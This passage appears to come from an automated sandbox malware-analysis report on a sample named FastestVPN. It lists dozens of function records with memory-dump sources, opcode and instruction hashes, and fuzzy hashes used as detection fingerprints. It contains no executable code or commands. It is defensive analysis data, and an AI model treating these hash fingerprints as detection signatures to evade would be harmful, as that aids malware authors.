                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b414e8e77cef2b07f6af6975c8f9c9e06390c92f7d1f8eec5b2bf1e8e43ec353
                                                                                                                      • Instruction ID: d449d283b148af96ca33f79a539fa0f6911bb42449f2f99c4869f20b772d4942
                                                                                                                      • Opcode Fuzzy Hash: b414e8e77cef2b07f6af6975c8f9c9e06390c92f7d1f8eec5b2bf1e8e43ec353
                                                                                                                      • Instruction Fuzzy Hash: 5F219D76504284DFCF16CF10D9C4B16BF72FF88324F2486A9D9490B256C33AD426CBA2
                                                                                                                      Function 0B5150E8 Relevance: .1, Instructions: 58COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 095627a6b103542dc496bc2ef3c8978dc874860be495b7aea6efc4ab1d09766f
                                                                                                                      • Instruction ID: 94f628e076e870e7a6204bd8934014e7b6b4e51657285637e3ae8c028ef173d9
                                                                                                                      • Opcode Fuzzy Hash: 095627a6b103542dc496bc2ef3c8978dc874860be495b7aea6efc4ab1d09766f
                                                                                                                      • Instruction Fuzzy Hash: 8D1101312047518FD724DF79E490A86BBE1BFD8614B004AAED4898B619E730E909CBE2
                                                                                                                      Function 0B4BA8C1 Relevance: .1, Instructions: 57COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8c97c666c1a27f7091db580a335609989017acb719f1571e2fbc6e3f227a5064
                                                                                                                      • Instruction ID: 882cbd8a3015a4ac7f1bf1cd2e1dab5aa4f3ae6048c1a0c9bc6c53b517e7490e
                                                                                                                      • Opcode Fuzzy Hash: 8c97c666c1a27f7091db580a335609989017acb719f1571e2fbc6e3f227a5064
                                                                                                                      • Instruction Fuzzy Hash: 1D116A356042459FCB05DF68C884DAABFB2FF8A364B148199E8498B362C771ED06CB61
                                                                                                                      Function 0B4863D8 Relevance: .1, Instructions: 57COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c189a73a32f494f23c74bf529f022ff5ae513e6dd2e95043782ad41b91439e78
                                                                                                                      • Instruction ID: e2f9911631d1b6c4c15a174a2c5336ec68b8675d2256d6f7552afdf4e3a91671
                                                                                                                      • Opcode Fuzzy Hash: c189a73a32f494f23c74bf529f022ff5ae513e6dd2e95043782ad41b91439e78
                                                                                                                      • Instruction Fuzzy Hash: 4B1125317043108FD720DB68D800F5A7BE5EB81B21F05856BE659CF7A2C7B1E8069761
                                                                                                                      Function 0B48E270 Relevance: .1, Instructions: 57COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 44e8b86c9ed5a995c095464edec99f350696f0f815010afa5bf17971d9cf65f8
                                                                                                                      • Instruction ID: ebd6311f8b52f3f6ca48318b999b9b05b3e2b9398aebb1620641b115568a02cb
                                                                                                                      • Opcode Fuzzy Hash: 44e8b86c9ed5a995c095464edec99f350696f0f815010afa5bf17971d9cf65f8
                                                                                                                      • Instruction Fuzzy Hash: 25115E32700214AFD714DF98E844FAF7BAAFB88760F14456EE519DB281EB71E90587A0
                                                                                                                      Function 0B51C647 Relevance: .1, Instructions: 57COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 7685a4d50f762e7855bc86d1528433038a02c959410b87b18b7c0ec780def5c7
                                                                                                                      • Instruction ID: d5d1f442598dddc1290d0573d50482816c1f153ce635c63bceab99991a92c2fa
                                                                                                                      • Opcode Fuzzy Hash: 7685a4d50f762e7855bc86d1528433038a02c959410b87b18b7c0ec780def5c7
                                                                                                                      • Instruction Fuzzy Hash: 5711E371B442694BEB14DBA8C854AEEBFF6AF88610F1844AAD001EB351DA718D42C7A1
                                                                                                                      Function 0237D51F Relevance: .1, Instructions: 56COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
                                                                                                                      • Instruction ID: 1c2d7eda29d442b31ebe9e63f835eb79a943bf8fff0bb6b0daa8aebd25cf5442
                                                                                                                      • Opcode Fuzzy Hash: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
                                                                                                                      • Instruction Fuzzy Hash: A9117F76504284DFCF16CF14D5C4B16BF72FF84324F2486A9D8494B656C33AD45ACBA1
                                                                                                                      Function 0B48E23F Relevance: .1, Instructions: 56COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d13ca224b95c5f2446ab11fc44d040d0fdc788d06ca206f082a0b0d089f919b9
                                                                                                                      • Instruction ID: 97b499baff64fd42bb552e83b8a5b303f8e89a21cf248d4646a6a9ff104585a4
                                                                                                                      • Opcode Fuzzy Hash: d13ca224b95c5f2446ab11fc44d040d0fdc788d06ca206f082a0b0d089f919b9
                                                                                                                      • Instruction Fuzzy Hash: B011A032700204AFD725CF68D844FAE7BEAFB88750F14455EE5159B281DB71A9028B91
                                                                                                                      Function 0B4894C8 Relevance: .1, Instructions: 56COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6730edd708efd9290800764fc55c17d86c05d481c09b8e32173e1d16a4416184
                                                                                                                      • Instruction ID: 721aac3eb531b4b885a9e5462dbd3482cc3474fac5301aae4e144461b35d3c90
                                                                                                                      • Opcode Fuzzy Hash: 6730edd708efd9290800764fc55c17d86c05d481c09b8e32173e1d16a4416184
                                                                                                                      • Instruction Fuzzy Hash: 98119E35B106149FDB54EA68D848B6FBBF6FBC8A50F100559D506EB345DB30ED018BA1
                                                                                                                      Function 0B514B99 Relevance: .1, Instructions: 56COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2f33ba72ce4417f9aa18769a8d0591ebbd799ef59f123ec54515341fbf30a670
                                                                                                                      • Instruction ID: d22caf019e56b31c4e7274de79dfeb819c521b5572aea00a7a6b7a947719bd40
                                                                                                                      • Opcode Fuzzy Hash: 2f33ba72ce4417f9aa18769a8d0591ebbd799ef59f123ec54515341fbf30a670
                                                                                                                      • Instruction Fuzzy Hash: 5911BF316083559FDB218F28D484A9ABBF2FF8675470485EEE449CB766C734EC09CBA0
                                                                                                                      Function 0B51B8F8 Relevance: .1, Instructions: 56COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5004f166075b76f9a2714e805ac1adbb2b98ef2a6ad5404d7cce5c7f98bd91aa
                                                                                                                      • Instruction ID: cfb781d245aaaa2ce6e6f430db43e59614a6bba8e31c804e239b820c35661275
                                                                                                                      • Opcode Fuzzy Hash: 5004f166075b76f9a2714e805ac1adbb2b98ef2a6ad5404d7cce5c7f98bd91aa
                                                                                                                      • Instruction Fuzzy Hash: 6F119D71B042598FEB14CF69C594AEEBBF36F89700F1844AAC441AB251CB715C468BA1
                                                                                                                      Function 0B51FE20 Relevance: .1, Instructions: 56COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 3d75329f581b0bd09eecd379da7906775eaa50ed62199a9a3c1e5e7f5e6dee5d
                                                                                                                      • Instruction ID: feafadadee21df0f6708c609ea5be9e3c66d630ce05d4956a18705b99b7905a7
                                                                                                                      • Opcode Fuzzy Hash: 3d75329f581b0bd09eecd379da7906775eaa50ed62199a9a3c1e5e7f5e6dee5d
                                                                                                                      • Instruction Fuzzy Hash: D4116D71E402098BEB14CF65D498AEEBBB9FB8C300F148965D515A7241DB719804CFA0
                                                                                                                      Function 0B51B3D8 Relevance: .1, Instructions: 55COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 472106b8cbe70b56ad0a85007ea5157a9892f397e9f22712954c23a3ae6ac355
                                                                                                                      • Instruction ID: 1404b64193a268d7ce1fd59159168431b8821b499305bf4bde924414febe1c06
                                                                                                                      • Opcode Fuzzy Hash: 472106b8cbe70b56ad0a85007ea5157a9892f397e9f22712954c23a3ae6ac355
                                                                                                                      • Instruction Fuzzy Hash: F011CE31A002185BEB15EF75C454AEEBAF7AFC8650F1888A9D805B7390DFB04D499BA0
                                                                                                                      Function 0B4B19F9 Relevance: .1, Instructions: 54COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 38d8a287e14e6463d7f78fa9f86ab27c194a13e9a7d233b74205200bbefaacfd
                                                                                                                      • Instruction ID: e7b0210b2e2f48e0874562b56d5918a257f4310d31b4acc4fd7acf67d524b7e5
                                                                                                                      • Opcode Fuzzy Hash: 38d8a287e14e6463d7f78fa9f86ab27c194a13e9a7d233b74205200bbefaacfd
                                                                                                                      • Instruction Fuzzy Hash: F3118F302047558FCB21DF29D85098BBFF6FFC56107008B69E88A8B625EB70FC098B91
                                                                                                                      Function 0B4BF681 Relevance: .1, Instructions: 54COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 693b5f6429c9d000940f57f74e8275c40f6a0231769146daf599455d634d012f
                                                                                                                      • Instruction ID: 4cca0fa70e0fb1210655b15dcbb97222794deec9868fc668d898f870e0584d92
                                                                                                                      • Opcode Fuzzy Hash: 693b5f6429c9d000940f57f74e8275c40f6a0231769146daf599455d634d012f
                                                                                                                      • Instruction Fuzzy Hash: 3D115E753042009FD755DBA9E8908AFBBE7FFC825031489AEE509DB365DB319C05DB90
                                                                                                                      Function 0B51B3C8 Relevance: .1, Instructions: 54COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 7703bf4349c0be2271a6f9eccfe1fafc391dd68f57edcbd0f7eea2aea9709c00
                                                                                                                      • Instruction ID: 960db0a7a0f3b07fb9d400d41768ccb42324f3bd829691f22e2cf03e7bfe1d5b
                                                                                                                      • Opcode Fuzzy Hash: 7703bf4349c0be2271a6f9eccfe1fafc391dd68f57edcbd0f7eea2aea9709c00
                                                                                                                      • Instruction Fuzzy Hash: 2111E171A041989BEB11EF6484A0BEEBFF3AFC9650F1888A9C451B7251CAB00D45C660
                                                                                                                      Function 0B517D41 Relevance: .1, Instructions: 54COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c4f272486345f09615ee68ed036461be9dacf73d5a9547bc138fea353d08f4e2
                                                                                                                      • Instruction ID: e32032682f5012f8af27918f5da7f90670c5aaf2cc4431dede227a981d852492
                                                                                                                      • Opcode Fuzzy Hash: c4f272486345f09615ee68ed036461be9dacf73d5a9547bc138fea353d08f4e2
                                                                                                                      • Instruction Fuzzy Hash: C201DB316053684BFB269B38D8106ED7FF1BF8A610F050DEAD4459B245D6345D05C7D2
                                                                                                                      Function 0B486E72 Relevance: .1, Instructions: 53COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 919f6dc8bfb00cffd12ffb51d97a0f1d7f7fe8e9c9c9e18cb024ad71b2171d0d
                                                                                                                      • Instruction ID: b6b2fca214e8f731ed176cac8b6d81dd04d0ba64308815c0e8854d0f5a2e4ac1
                                                                                                                      • Opcode Fuzzy Hash: 919f6dc8bfb00cffd12ffb51d97a0f1d7f7fe8e9c9c9e18cb024ad71b2171d0d
                                                                                                                      • Instruction Fuzzy Hash: FF01B1621092D83FCB128A6A5C508AB3FE88A8B15170840CBFA98CB153C42C8914DB71
                                                                                                                      Function 0238D31B Relevance: .1, Instructions: 53COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8009cd9747851c6a16484d38da83a80e1112e09f0888f91abd329c0e09305381
                                                                                                                      • Instruction ID: 12c3ecf62fa593ed9449c17335e85fa1d2fac44d3b4b508f1ebaff9bbb32bbb4
                                                                                                                      • Opcode Fuzzy Hash: 8009cd9747851c6a16484d38da83a80e1112e09f0888f91abd329c0e09305381
                                                                                                                      • Instruction Fuzzy Hash: C511BB75604288CFCB11DF24D5C0B19BBA2FB84324F24C6AAD8494F696C37AD40ACB61
                                                                                                                      Function 0B514BA8 Relevance: .1, Instructions: 52COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a94cd6c485e7a1e230dde9d642c827921e8099a2325e46cc555d5e4c557b25a4
                                                                                                                      • Instruction ID: f3a02a31f9f7894e09fa23239ca93a1b2c0beda1f6e07982096686e451dba853
                                                                                                                      • Opcode Fuzzy Hash: a94cd6c485e7a1e230dde9d642c827921e8099a2325e46cc555d5e4c557b25a4
                                                                                                                      • Instruction Fuzzy Hash: 48118E71600304DFEB249F28D484E9ABBE6FF89314B0489ADE50987751DB35ED45CBA0
                                                                                                                      Function 0B519140 Relevance: .1, Instructions: 52COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2b9b39dca1848bd82fbdd340c451a452d1f3fa1c1bce1ad99162eeecc1ffaf91
                                                                                                                      • Instruction ID: 16cd90efa0bd4c55b55e36417739cbee2b26d180dcc5a97280150aaa52a924ed
                                                                                                                      • Opcode Fuzzy Hash: 2b9b39dca1848bd82fbdd340c451a452d1f3fa1c1bce1ad99162eeecc1ffaf91
                                                                                                                      • Instruction Fuzzy Hash: E001D872F002185F9B20EAA99C509BFF7FEFBC8250B10443AE514D3600EB309A1597A1
                                                                                                                      Function 0B51B6F0 Relevance: .1, Instructions: 52COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: eed6bb47a59c0adc57cb8dfb9d7c85acf1de7dd627033ba2b008b4a9e6beea21
                                                                                                                      • Instruction ID: 0283f61dc6e4b87185938aebded6396abd64d11c7fb76995023572f9baa4abaa
                                                                                                                      • Opcode Fuzzy Hash: eed6bb47a59c0adc57cb8dfb9d7c85acf1de7dd627033ba2b008b4a9e6beea21
                                                                                                                      • Instruction Fuzzy Hash: 8A113DB1A042198FEB08DF69D454AEEBBF1BF4C310F1185AAD446F7390DB749844DB64
                                                                                                                      Function 0B51C460 Relevance: .1, Instructions: 52COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 1459349677b6e9919b52ff527c44b97516c6779bbf454ba081a1fa7fd53e6178
                                                                                                                      • Instruction ID: d99f622c8600b31da7e0bbcb71ac12587802f61b472b25150403b146ca652f69
                                                                                                                      • Opcode Fuzzy Hash: 1459349677b6e9919b52ff527c44b97516c6779bbf454ba081a1fa7fd53e6178
                                                                                                                      • Instruction Fuzzy Hash: 8411BF71A042288FEB08DF68C414AEEBBF1BF4C300F1081AAD402FB390DB759844DB64
                                                                                                                      Function 0B51FE11 Relevance: .1, Instructions: 51COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 314607ae652aa62e3deb11b36757cc0c25b92f214001f4a44678436cc0881176
                                                                                                                      • Instruction ID: 1cd27dc6e81ea37d9d3692902e376ebce6de9a6abd18edfde90169c178e7aa64
                                                                                                                      • Opcode Fuzzy Hash: 314607ae652aa62e3deb11b36757cc0c25b92f214001f4a44678436cc0881176
                                                                                                                      • Instruction Fuzzy Hash: D5115E71A002099FEB14CF68D998ADEBBBAFF8C310F148965E515E7290CB719904CFA0
                                                                                                                      Function 0B4BA8D0 Relevance: .0, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 721d23e8222e58c7fd256302e5eb930358e7827cdbbe5bec9ce8f66d71055c21
                                                                                                                      • Instruction ID: c1bee0dde41490767c4ae3639ed3fa5902091db0c4e97b1b9fe7db80b70fcec7
                                                                                                                      • Opcode Fuzzy Hash: 721d23e8222e58c7fd256302e5eb930358e7827cdbbe5bec9ce8f66d71055c21
                                                                                                                      • Instruction Fuzzy Hash: C2115E356002059FCB04DF68C884D9EBBF6FF89364B1485A9E9198B362DB71ED42CB90
                                                                                                                      Function 0B48E300 Relevance: .0, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a86b9e73613b5327ac32c774f71dd355f5b185a1caea6e24724ef415d9e1b0ca
                                                                                                                      • Instruction ID: cac30248dc35f2ac25926822f114f0e8a4cd318afa48d4375195c41a90070314
                                                                                                                      • Opcode Fuzzy Hash: a86b9e73613b5327ac32c774f71dd355f5b185a1caea6e24724ef415d9e1b0ca
                                                                                                                      • Instruction Fuzzy Hash: 381152312047458FD726DF39D88098B7FF1FFC57117048A69D48A8B626DB70AD19CBA1
                                                                                                                      Function 0B51CA48 Relevance: .0, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6daef2e236a71ef1b9aee8a59b6b1f99c1601abf8f69580df377f0f3eabb4799
                                                                                                                      • Instruction ID: 0d22b7a34aa953e2f752d0b7b100566f607f53fba1b90159f71de5b1d00efe8a
                                                                                                                      • Opcode Fuzzy Hash: 6daef2e236a71ef1b9aee8a59b6b1f99c1601abf8f69580df377f0f3eabb4799
                                                                                                                      • Instruction Fuzzy Hash: 7E11A031A052599BEB12DB74D890BEEBBF2BF89204F1445A9C041BB254DB755805CBA1
                                                                                                                      Function 0B51DA69 Relevance: .0, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2283e610f035fb2467f17e6aeb3e4f8349666d6ee00808f8bdadd85a86933cf1
                                                                                                                      • Instruction ID: b4599aec1d041296a3c24175e8ccffeaead5d704f4a8d8dfe8e8c49b1dc1f39f
                                                                                                                      • Opcode Fuzzy Hash: 2283e610f035fb2467f17e6aeb3e4f8349666d6ee00808f8bdadd85a86933cf1
                                                                                                                      • Instruction Fuzzy Hash: 8111CE32A052998FEB05DFB4D4546EDBBF2BF8A300F1489BDC442BB280EB755845DB60
                                                                                                                      Function 0B51CF00 Relevance: .0, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d702e9bf4aea570c46b0955ef090c1c50fc6769d3d950f6252ff70004a819ab1
                                                                                                                      • Instruction ID: fb4851272b0a2071d1b6367f19b1db8bdcc917031534aa7c5d6a3afc0ab2599a
                                                                                                                      • Opcode Fuzzy Hash: d702e9bf4aea570c46b0955ef090c1c50fc6769d3d950f6252ff70004a819ab1
                                                                                                                      • Instruction Fuzzy Hash: EA01F5312003115FCB12E774FC9069F7FA7FEC56107508AAAD109CB255DB709C0987E2
                                                                                                                      Function 0B51E6D2 Relevance: .0, Instructions: 50COMMON
                                                                                                                      Download Yara Rule
